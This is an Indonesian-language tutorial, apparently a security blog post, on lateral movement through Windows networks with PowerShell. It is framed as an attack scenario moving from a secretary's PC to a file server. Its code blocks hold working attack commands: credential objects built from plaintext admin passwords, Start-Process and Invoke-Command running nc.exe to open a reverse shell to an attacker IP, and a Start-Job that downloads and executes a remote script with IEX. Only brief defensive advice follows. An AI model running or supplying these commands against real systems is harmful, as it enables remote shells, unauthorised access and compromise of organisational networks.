Lateral movement dengan menggunakan PowerShell



Apabila sebuah PC / Laptop yang terkena hack kemungkinan besar ada PC dan Laptop lain nya yang terkena hack pada jaringan yang sama. Di dunia offensive security hal ini dikenal sebagai Lateral Movement.


Lateral Movement adalah saat penyerang mendapatkan akses kedalam salah satu komputer di sebuah organisasi atau perusahaan. Dan penyerang ini mencoba untuk mencari akses lain untuk mendapatkan informasi ataupun file berharga dalam PC atau Laptop lain di perusahaan tersebut.

Sebagaimana diketahui kebanyakan perusahaan akan memakai Windows sebagai sistem operasi sehari hari. Hal ini disebabkan banyak laptop yang dijual telah menyertakan sistem operasi Windows didalamnya. Kebanyakan organisasi juga telah terbiasa menggunakan Windows sebagai sistem operasi dan penunjang pekerjaan mereka.

Windows memiliki sebuah bahasa scripting yang disebut Powershell dan Powershell telah terinstall secara default pada sistem operasi Windows anda.

Untuk melakukan lateral movement pada sistem operasi windows biasanya penyerang akan menggunakan Powershell. Beberapa perintah atau dikenal sebagai cmdlet pada Powershell, yang dapat digunakan untuk lateral movement adalah sebagai berikut yaitu Start-Process, Start-Job, Invoke-Command, Enter-PSSession.

Cmdlet Start-Process digunakan untuk menjalankan satu atau beberapa proses pada komputer lokal. Secara default, Start-Process menciptakan proses baru yang mewarisi semua variabel lingkungan yang didefinisikan dalam proses saat ini. Sedangkan cmdlet Start-Job digunakan untuk menjalankan job PowerShell di background pada komputer lokal. Untuk melakukan lateral movement pada lokal bisa menggunakan start-process dan start-job.

Berikut contoh nya : Penyerang berhasil masuk ke PC Sekretaris melalui malware. Dan dari PC Sekretaris penyerang akan mencoba login dengan menggunakan user dan password it_admin pada PC yang sama. 

$user = "PC_Sekretaris\it_admin"
$spass = ConvertTo-SecureString "S3cur3P@ss!" -AsPlainText -Force;
$cred = New-Object System.Management.Automation.PSCredential ($user, $spass);
Start-Process "C:\share\nc.exe" -ArgumentList "-e cmd.exe 192.168.181.138 443" -Credential $cred -WindowStyle Hidden
$user = "PC_Sekretaris\it_admin"
$spass = ConvertTo-SecureString "S3cur3P@ss!" -AsPlainText -Force;
$cred = New-Object System.Management.Automation.PSCredential ($user, $spass);
Start-Job -scriptblock { IEX(New-Object Net.WebClient).downloadString(‘http://192.168.181.138/ni.ps1') } -Credential $cred | Wait-Job | Receive-Job

Cmdlet Invoke-Command digunakan untuk menjalankan perintah pada komputer lokal atau remote dan mengembalikan semua output dari perintah, termasuk kesalahan. Sedangkan cmdlet Enter-PSSession akan memulai sesi interaktif dengan remote komputer. Untuk melakukan lateral movement pada remote komputer bisa mengunakan invoke-command dan enter-pssesion.

Berikut contoh nya : Setelah mendapatkan akses akun it_admin di PC Sekretaris, kemudian penyerang mencoba login ke fs-server01 dengan user administrator. 

$user = "fs-server01\Administrator"
$spass = ConvertTo-SecureString "TryH4d3r.2020" -AsPlainText -Force;
$cred = New-Object System.Management.Automation.PSCredential ($user, $spass);
Enter-PSSession -ComputerName fs-server01 -Credential $cred
$user = "fs-server01\Administrator"
$spass = ConvertTo-SecureString "TryH4d3r.2020" -AsPlainText -Force;
$cred = New-Object System.Management.Automation.PSCredential ($user, $spass);
Invoke-Command -ComputerName fs-server01 -Credential $cred -ScriptBlock { C:\share\nc.exe -e cmd.exe 192.168.181.138 443 }

Kesimpulan dari lateral movement adalah apabila anda berfikir bahwa ketika ada sebuah PC atau laptop yang terkena hack dan hanya PC atau Laptop itu saja yang terkena dampak anda salah. Lateral movement ini membuktikan bahwa apabila ada 1 PC yang terkena hack kemungkinan besar ada PC dan Laptop lain nya yang terkena hack pada jaringan yang sama.

Pastikan Firewall anda telah di konfigurasi se-aman mungkin dan lakukan review setiap 2 minggu sekali. Cek juga keberadaan SIEM IDS dan IPS anda. Pastikan telah termonitoring dengan benar. Pastikan juga tim anda memiliki kapabilitas untuk melakukan insiden response dan forensik secara terukur.

Terimakasi telah membaca artikel ini.